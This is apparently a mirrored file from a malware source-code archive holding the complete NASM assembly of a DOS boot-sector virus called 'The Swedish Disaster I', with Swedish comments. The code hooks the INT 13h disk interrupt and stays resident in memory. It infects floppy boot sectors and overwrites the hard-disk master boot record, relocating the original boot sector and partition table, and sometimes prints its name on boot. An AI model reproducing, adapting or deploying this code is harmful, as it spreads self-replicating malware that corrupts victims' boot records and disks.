mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 07:19:23 +00:00
vxunderground
260 lines
4.1 KiB
NASM
260 lines
4.1 KiB
NASM
; Senast „ndrad 891213.
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; L„gger gamla bootsectorn p† sida 1, sp†r 0, sector 3.
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; sida 0, sp†r 0, sector 7 p† HD.
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Code Segment
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Assume cs:Code
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Org 0000h
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Main Proc Far
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db 0EAh,05h,00h,0C0h,07h
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jmp Near Ptr Init ; Hoppa f”rbi variabler och nya int13h
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; Variabler
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Old13h dd 0 ; Gamla vectorn till diskfunktionerna.
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TmpVec dd 0 ; Tempor„r vec. vid „ndring av int 13.
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BootPek dw 0003h,0100h
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; Slut p† variabler
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Int13h Proc Near
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push ds
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push ax
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push bx
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cmp dl,00h ; Drive A
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jne Exit
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cmp ah,02h
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jb Exit
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cmp ah,04h
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ja Exit ; Kolla s† att func. 2-4
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sub ax,ax
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mov ds,ax
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mov bx,043Fh ; Motor status byte.
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test Byte Ptr [bx],01h ; Testa om motorn i A: „r p†..
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jnz Exit ; Nej,hoppa till gamla int 13h
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call Smitta
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Exit: pop bx
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pop ax
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pop ds
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jmp [Old13h]
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Smitta Proc Near
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push cx
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push dx
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push si
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push di
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push es
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push cs
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pop es
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push cs
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pop ds
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mov si,0004h ; Max antal f”rs”k.
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Retry: mov ax,0201h ; L„s en sector
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mov bx,0200h ; L„s hit.
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mov cx,0001h ; Sp†r 0 Sector 1
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sub dx,dx ; Sida 0 Drive 0
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pushf
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call [Old13h] ; L„s in booten.
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jnc OK
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dec si
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jz Slut ; Hoppa ur om fel.
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jmp Retry ; F”rs”k max 4 g†nger.
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OK: mov si,0200h
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sub di,di
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cld
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lodsw
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cmp ax,[di]
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jne L2
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lodsw
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cmp ax,[di+2]
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jne L2
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jmp Slut
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L2: mov ax,0301h ; Skriv en sector.
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mov bx,0200h
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mov cx,0003h ; Sp†r 0 Sector 3
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mov dx,0100h ; Sida 1 Drive 0
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pushf
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call [Old13h] ; Flytta boot sectorn.
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mov ax,0301h
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sub bx,bx
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mov cx,0001h
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sub dx,dx
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pushf
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call [Old13h] ; Skriv ner viruset till booten.
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Slut: pop es
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pop di
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pop si
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pop dx
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pop cx
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ret
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Smitta Endp
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Int13h Endp
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Init: sub ax,ax
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mov ds,ax ; Nollar ds f”r att „ndra vect.
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cli
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mov ss,ax
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mov sp,7C00h
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sti ; S„tter upp en ny stack.
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push cs
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pop es
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mov di,Offset Old13h
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mov si,004Ch
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mov cx,0004h
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cld
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rep movsb ; Flytta int 13h vectorn.
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mov bx,0413h
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mov ax,[bx] ; Minnesstorleken till ax.
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dec ax
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dec ax
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mov [bx],ax ; Reservera plats f”r viruset.
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mov cl,06h
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shl ax,cl
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mov es,ax ; Omvandla till segment addres.
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mov Word Ptr TmpVec,Offset Int13h
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mov Word Ptr TmpVec+2,es
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push es
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sub ax,ax
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mov es,ax
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push cs
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pop ds
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mov si,Offset TmpVec
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mov di,004Ch
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mov cx,0004h
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rep movsb
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pop es
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sub si,si
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mov di,si
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mov cx,0200h ; Hela viruset + lite till.
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rep movsb
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mov ax,Offset Here
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push es
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push ax
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ret ; Hoppa till viruset.
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Here: sub ax,ax
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int 13h ; �terst„ll driven
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sub ax,ax
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mov es,ax
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mov ax,0201h ; L„s en sector funk.
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mov bx,7C00h ; Hit laddas booten normalt.
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mov cx,BootPek
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mov dx,BootPek+2
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int 13h
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push cs
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pop es
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mov ax,0201h
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mov bx,0200h
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mov cx,0001h
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mov dx,0080h
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int 13h ; L„s in partions tabellen.
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jc Over
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push cs
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pop ds
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mov si,0200h
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sub di,di
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lodsw
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cmp ax,[di] ; Kolla om den „r smittad.
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jne HdInf
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lodsw
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cmp ax,[di+2]
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jne HdInf
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Over: mov BootPek,0003h
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mov BootPek+2,0100h
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sub bx,bx
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push bx
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mov bx,7C00h
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push bx
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ret ; K”r den gamla booten.
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HdInf: mov BootPek,0007h
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mov BootPek+2,0080h
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mov ax,0301h
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mov bx,0200h
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mov cx,0007h
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mov dx,0080h
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int 13h ; Flytta orgin. part.tabellen.
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jc Over
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push cs
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pop ds
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push cs
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pop es
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mov si,03BEh
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mov di,01BEh
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mov cx,0042h
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cld
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rep movsb ; Kopiera part. data till viruset.
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mov ax,0301h
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sub bx,bx
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mov cx,0001h
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mov dx,0080h
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int 13h ; Skriv viruset till part. tabellen.
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sub ax,ax
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mov es,ax ; Kolla om msg:et ska skrivas ut.
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test Byte Ptr es:[046Ch],07h
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jnz HdInf1
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mov si,Offset Txt ; Detta utf”rs bara om man bootar fr†n
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cld ; diskett.
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Foo1: lodsb
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cmp al,00h
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je HdInf1
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mov ah,0Eh
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sub bx,bx
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int 10h
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jmp Foo1
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HdInf1: jmp Over
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Slutet Label Byte ; Anv„nds f”r att veta var slutet „r.
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Txt db 07h,0Ah,0Dh,'The Swedish Disaster I',0Ah,0Dh,00h
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Main Endp
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Code Ends
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End
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